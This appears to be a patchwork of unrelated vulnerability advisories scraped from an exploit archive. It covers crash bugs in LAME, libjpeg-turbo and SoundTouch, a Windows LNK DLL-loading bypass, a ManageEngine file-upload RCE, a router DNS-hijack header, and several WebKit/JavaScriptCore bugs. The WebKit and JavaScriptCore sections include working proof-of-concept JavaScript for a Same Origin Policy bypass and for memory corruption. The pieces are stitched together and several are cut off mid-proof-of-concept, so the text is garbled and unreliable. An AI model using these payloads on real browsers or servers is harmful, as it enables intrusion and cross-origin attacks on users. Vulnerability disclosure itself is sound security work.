LAME multiple vulnerabilities
================
Author : qflb.wu
===============


Introduction:
=============
Following the great history of GNU naming, LAME originally stood for LAME Ain't an Mp3 Encoder.
LAME is an educational tool to be used for learning about MP3 encoding. The goal of the LAME project is to use the open source model to improve the psycho acoustics, noise shaping and speed of MP3.


Affected version:
=====
3.99.5


Vulnerability Description:
==========================
1.
the fill_buffer_resample function in libmp3lame/util.c in LAME 3.99.5 can cause a denial of service(heap-buffer-overflow and application crash) via a crafted wav file.

libjpeg-turbo denial of service vulnerability
======================
Author : qflb.wu
CVE    : CVE-2017-9614
======================


Introduction:
=============
libjpeg-turbo is a JPEG image codec that uses SIMD instructions (MMX, SSE2, AVX2, NEON, AltiVec) to accelerate baseline JPEG compression and decompression on x86, x86-64, ARM, and PowerPC systems.


Affected version:
=====
1.5.1


Vulnerability Description:
==========================
the fill_input_buffer function in jdatasrc.c in libjpeg-turbo 1.5.1 can cause a denial of service(invalid address and application crash) via a crafted jpg file.


I found this bug when I test stills2dv-alpha-0.601 which used the libjpeg-turbo.


./stills2dv exampleworkfile.s2d


(the exampleworkfile.s2d contains the path of the poc jpg file)

Introduction:
=============
SoundTouch is an open-source audio processing library for changing the Tempo, Pitch and Playback Rates of audio streams or audio files. The library additionally supports estimating stable beats-per-minute rates for audio tracks.


Affected version:
=====
1.9.2


Vulnerability Description:
==========================
1.
the TDStretch::processSamples function in source/SoundTouch/TDStretch.cpp in SoundTouch 1.9.2 can cause a denial of service(infinite loop and CPU consumption) via a crafted wav file.


./soundstretch SoundTouch_1.9.2_infinite_loop.wav out


POC:

        This module exploits a vulnerability in the handling of Windows Shortcut files (.LNK)
        that contain a dynamic icon, loaded from a malicious DLL.

        This vulnerability is a variant of MS15-020 (CVE-2015-0096). The created LNK file is
        similar except in an additional SpecialFolderDataBlock is included. The folder ID set
        in this SpecialFolderDataBlock is set to the Control Panel. This is enought to bypass
        the CPL whitelist. This bypass can be used to trick Windows into loading an arbitrary
        DLL file.

JSObject::putInlineSlow and JSValue::putToPrimitive use getPrototypeDirect instead of getPrototype to get an object's prototype. So JSDOMWindow::getPrototype which checks the Same Origin Policy is not called.

The PoC shows to call a setter of another origin's object.

PoC 1 - JSValue::putToPrimitive:
-->

<body>
<script>

let f = document.body.appendChild(document.createElement('iframe'));
let loc = f.contentWindow.location;
f.onload = () => {
    let a = 1.2;
    a.__proto__.__proto__ = f.contentWindow;

    a['test'] = {toString: function () {
        arguments.callee.caller.constructor('alert(location)')();
    }};
};
f.src = 'data:text/html,' + `<iframe></iframe><script>
Object.prototype.__defineSetter__('test', v => {
    'a' + v;
});

</scrip` + `t>`;

</script>
</body>

<!--
PoC 2 - JSObject::putInlineSlow:
<body>
<script>

let f = document.body.appendChild(document.createElement('iframe'));
let loc = f.contentWindow.location;
f.onload = () => {
    let a = {
        __proto__: f.contentWindow
    };

    a['test'] = {toString: function () {
        arguments.callee.caller.constructor('alert(location)')();
    }};
};
f.src = 'data:text/html,' + `<iframe></iframe><script>
Object.prototype.__defineSetter__('test', v => {
    'a' + v;
});

</scrip` + `t>`;
</script>

There is a use-after-free security vulnerability in WebKit. The vulnerability was confirmed on ASan build of WebKit nightly.

Note that accessibility features need to be enabled in order to trigger this bug. On Safari on Mac this can be accomplished by opening the inspector (simply opening the inspector enables accessibility features). On WebKitGTK+ (and possibly other WebKit releases) accessibility features are enabled by default.

PoC:

<style>
  #div { visibility: collapse }

function eventhandler() {
  document.execCommand("bold", false);
  img.style.removeProperty("-webkit-appearance");

There is a use-after-free security vulnerability in WebKit. The vulnerability was confirmed on ASan build of WebKit nightly.

Note that accessibility features need to be enabled in order to trigger this bug. On Safari on Mac this can be accomplished by opening the inspector (simply opening the inspector enables accessibility features). On WebKitGTK+ (and possibly other WebKit releases) accessibility features are enabled by default.

# Exploit Title: ManageEngine Desktop Central 10 Build 100087 RCE
# Date: 24-07-2017
# Software Link: https://www.manageengine.com/products/desktop-central/
# Exploit Author: Kacper Szurek
# Contact: https://twitter.com/KacperSzurek
# Website: https://security.szurek.pl/
# CVE: CVE-2017-11346
# Category: remote
 
1. Description
   
When uploading a file, the `FileUploadServlet` class does not check the user-controlled `fileName` parameter using `hasVulnerabilityInFileName` function.

This allows a remote attacker to create a malicious file and place it under a directory that allows server-side scripts to run, which results in remote code execution under the context of SYSTEM.

        This module exploits a vulnerability found in ManageEngine Desktop Central 10. When
        uploading a file, the FileUploadServlet class does not check the user-controlled

#
#  Description:  
#  The vulnerability exist in the web interface, which is 
#  accessible without authentication. 
#
#  Once modified, systems use foreign DNS servers,  which are 
#  usually set up by cybercriminals. Users with vulnerable 
#  systems or devices who try to access certain sites are 
#  instead redirected to possibly malicious sites.
#  
#  Modifying systems' DNS settings allows cybercriminals to 
#  perform malicious activities like:
#
#    o  Steering unknowing users to bad sites: 
#       These sites can be phishing pages that 
#       spoof well-known sites in order to 
#       trick users into handing out sensitive 
#       information.
#
#    o  Replacing ads on legitimate sites: 
#       Visiting certain sites can serve users 
#       with infected systems a different set 
#       of ads from those whose systems are 
#       not infected.
#   
#    o  Controlling and redirecting network traffic: 
#       Users of infected systems may not be granted 
#       access to download important OS and software 
#       updates from vendors like Microsoft and from 
#       their respective security vendors.
#
#    o  Pushing additional malware: 
#       Infected systems are more prone to other 
#       malware infections (e.g., FAKEAV infection).

When compiling Javascript code into machine code, bound checks for all accesses to a typed array are also inserted. These bound checks are re-optimized and the unnecessary checks are removed, which is performed by IntegerCheckCombiningPhase::handleBlock.
For example, when the following JavaScript code is compiled, there are all bound checks for 8, 5, 2, but after the optimization, the checks for 5 and 2 are removed, and the only check for 8 will remain.

function f() {
    let arr = new Uint32Array(10);
    for (let i = 0; i < 0x100000; i++) {
        parseInt();
    }
    arr[8] = 1;
    arr[5] = 2;
    arr[2] = 3;
}

f();

Note: parseInt is for forcing to start the JIT optimization.

Here's a snippet IntegerCheckCombiningPhase::handleBlock.

void handleBlock(BlockIndex blockIndex)
{
    ...
        if (range.m_count) {
            if (data.m_addend > range.m_maxBound) {
                range.m_maxBound = data.m_addend;
                range.m_maxOrigin = node->origin.semantic;
            } else if (data.m_addend < range.m_minBound) {
                range.m_minBound = data.m_addend;
                range.m_minOrigin = node->origin.semantic;
            }
    ...
}

The problem is that the check |data.m_addend > range.m_maxBound| is a signed comparison.

Here's a snippet of arrayProtoFuncSplice.

EncodedJSValue JSC_HOST_CALL arrayProtoFuncSplice(ExecState* exec)
{
    ...
            result = JSArray::tryCreateForInitializationPrivate(vm, exec->lexicalGlobalObject()->arrayStructureForIndexingTypeDuringAllocation(ArrayWithUndecided), actualDeleteCount);
            if (!result)
                return JSValue::encode(throwOutOfMemoryError(exec, scope));
            
            for (unsigned k = 0; k < actualDeleteCount; ++k) {
                JSValue v = getProperty(exec, thisObj, k + actualStart);
                RETURN_IF_EXCEPTION(scope, encodedJSValue());
                if (UNLIKELY(!v)) {
                    continue;
                }
                result->initializeIndex(vm, k, v);
            }
    ...
}

|JSArray::tryCreateForInitializationPrivate| will return an uninitialized JSArray. So the next routine must clear its all indices. But the routine skips holes in |thisObj|. This is fine under normal circumstances because the type of |result| will be ArrayWithUndecided, unless you're having a bad time. We can force |result|'s type to ArrayWithSlowPutArrayStorage by using |JSGlobalObject::haveABadTime|.

PoC:
-->

function gc() {
    for (let i = 0; i < 0x10; i++)
        new ArrayBuffer(0x1000000);
}

Array.prototype.__defineGetter__(0x1000, () => 1);

gc();

for (let i = 0; i < 0x100; i++) {
    new Array(0x100).fill(1234.5678);
}

gc();

print(new Array(0x100).splice(0));

Here's tryCreateArrayButterfly which is invoked from intlObjectFuncGetCanonicalLocales to create a JSArray object.

inline Butterfly* tryCreateArrayButterfly(VM& vm, JSCell* intendedOwner, unsigned initialLength)
{
    Butterfly* butterfly = Butterfly::tryCreate(
        vm, intendedOwner, 0, 0, true, baseIndexingHeaderForArrayStorage(initialLength),
        ArrayStorage::sizeFor(BASE_ARRAY_STORAGE_VECTOR_LEN));
    if (!butterfly)
        return nullptr;
    ArrayStorage* storage = butterfly->arrayStorage();
    storage->m_sparseMap.clear();
    storage->m_indexBias = 0;
    storage->m_numValuesInVector = 0;
    return butterfly;
}

It allocates a fixed size(BASE_ARRAY_STORAGE_VECTOR_LEN) of memory without caring about |initialLength|. So a BOF occurs in the following iteration.

EncodedJSValue JSC_HOST_CALL intlObjectFuncGetCanonicalLocales(ExecState* state)
{
    ...
    auto length = localeList.size();
    for (size_t i = 0; i < length; ++i) {
        localeArray->initializeIndex(vm, i, jsString(state, localeList[i]));
        RETURN_IF_EXCEPTION(scope, encodedJSValue());
    }
    ...
}


PoC:
